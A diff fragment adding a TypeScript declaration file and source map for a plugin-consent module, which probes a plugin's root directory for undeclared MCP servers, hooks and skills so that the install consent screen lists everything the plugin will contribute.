+ export interface RootProbe {
38
+ hasSkillsDir: boolean;
39
+ hasAgentsDir: boolean;
40
+ hasCommandsDir: boolean;
41
+ /** Server names parsed from a root-level `.mcp.json` / `mcp.json`
42
+ * (both flat and wrapped shapes accepted; see
43
+ * [[extractMcpServersBlock]]). Empty when neither file is present
44
+ * or the file failed to parse. */
45
+ rootMcpServerNames: string[];
46
+ /** True when a root-level mcp file exists, even if no names could
47
+ * be parsed from it. Lets the consent UI still warn "this plugin
48
+ * contributes MCP servers" when names are momentarily unknown. */
49
+ hasRootMcpFile: boolean;
50
+ /** Hook event names parsed from `hooks/hooks.json` at root, if present. */
51
+ rootHookEvents: HookEventName[];
52
+ /** True when `hooks/hooks.json` exists, regardless of parse result. */
53
+ hasRootHooksFile: boolean;
54
+ }
55
+ export interface BuildPreviewInput {
56
+ pluginId: string;
57
+ manifest: PluginManifest;
58
+ source: PluginSource;
59
+ marketplace: string;
60
+ verified?: boolean;
61
+ fromReservedMarketplace?: boolean;
62
+ /** Optional probe of the plugin's root directory. Without it,
63
+ * consent shows only what the manifest declares — which misses
64
+ * Claude Code-convention plugins that ship contributions as
65
+ * conventional files / dirs alongside `plugin.json`. */
66
+ rootProbe?: RootProbe;
67
+ }
68
+ /** Stat the plugin root for the conventional contribution files / dirs
69
+ * the loader's `resolveContributions` will pick up at runtime. The
70
+ * consent UI uses this so "Will contribute" doesn't lie when a plugin
71
+ * drops `skills/`, `.mcp.json`, etc. at root without naming them in
72
+ * the manifest. Safe to call on any directory — every probe is a
73
+ * best-effort stat / read and missing or unreadable files just count
74
+ * as "absent". */
75
+ export declare function probePluginRoot(rootDir: string): Promise<RootProbe>;
76
+ /** Build a `ConsentPreview` from a parsed manifest. The hook + mcp
77
+ * fields are inspected only for the inline shape; path-form
78
+ * contributions are surfaced as `has*` booleans so the consent UI can
79
+ * warn "this plugin contributes MCP servers" even when their names
80
+ * aren't yet known.
81
+ *
82
+ * When `input.rootProbe` is present, conventional root-level
83
+ * contributions (an undeclared `.mcp.json`, `hooks/hooks.json`,
84
+ * `skills/`, etc.) are merged in too — the loader will pick those up
85
+ * at runtime, so the consent UI needs to know about them now. */
86
+ export declare function buildConsentPreview(input: BuildPreviewInput): ConsentPreview;
87
+ //# sourceMappingURL=consent.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"consent.d.ts","sourceRoot":"","sources":["../../src/plugins/consent.ts"],"names":[],"mappings":"AA6BA,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAA;AAGtD,OAAO,KAAK,EAAE,cAAc,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA;AAE9D,MAAM,WAAW,cAAc;IAC7B,QAAQ,EAAE,MAAM,CAAA;IAChB,OAAO,EAAE,MAAM,CAAA;IACf,WAAW,CAAC,EAAE,MAAM,CAAA;IACpB,MAAM,EAAE,YAAY,CAAA;IACpB,WAAW,EAAE,MAAM,CAAA;IACnB,wEAAwE;IACxE,QAAQ,EAAE,OAAO,CAAA;IACjB,+EAA+E;IAC/E,uBAAuB,EAAE,OAAO,CAAA;IAChC,mEAAmE;IACnE,UAAU,EAAE,aAAa,EAAE,CAAA;IAC3B;yDACqD;IACrD,oBAAoB,EAAE,MAAM,EAAE,CAAA;IAC9B,YAAY,EAAE,OAAO,CAAA;IACrB,YAAY,EAAE,OAAO,CAAA;IACrB,cAAc,EAAE,OAAO,CAAA;IACvB;;gEAE4D;IAC5D,iBAAiB,EAAE,OAAO,CAAA;IAC1B,oEAAoE;IACpE,YAAY,EAAE,OAAO,CAAA;IACrB,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,QAAQ,CAAC,EAAE,MAAM,CAAA;CAClB;AAED;;;;;0DAK0D;AAC1D,MAAM,WAAW,SAAS;IACxB,YAAY,EAAE,OAAO,CAAA;IACrB,YAAY,EAAE,OAAO,CAAA;IACrB,cAAc,EAAE,OAAO,CAAA;IACvB;;;uCAGmC;IACnC,kBAAkB,EAAE,MAAM,EAAE,CAAA;IAC5B;;uEAEmE;IACnE,cAAc,EAAE,OAAO,CAAA;IACvB,2EAA2E;IAC3E,cAAc,EAAE,aAAa,EAAE,CAAA;IAC/B,uEAAuE;IACvE,gBAAgB,EAAE,OAAO,CAAA;CAC1B;AAED,MAAM,WAAW,iBAAiB;IAChC,QAAQ,EAAE,MAAM,CAAA;IAChB,QAAQ,EAAE,cAAc,CAAA;IACxB,MAAM,EAAE,YAAY,CAAA;IACpB,WAAW,EAAE,MAAM,CAAA;IACnB,QAAQ,CAAC,EAAE,OAAO,CAAA;IAClB,uBAAuB,CAAC,EAAE,OAAO,CAAA;IACjC;;;6DAGyD;IACzD,SAAS,CAAC,EAAE,SAAS,CAAA;CACtB;AAED;;;;;;mBAMmB;AACnB,wBAAsB,eAAe,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,SAAS,CAAC,CAmDzE;AAoBD;;;;;;;;;kEASkE;AAClE,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,iBAAiB,GAAG,cAAc,CA4D5E"}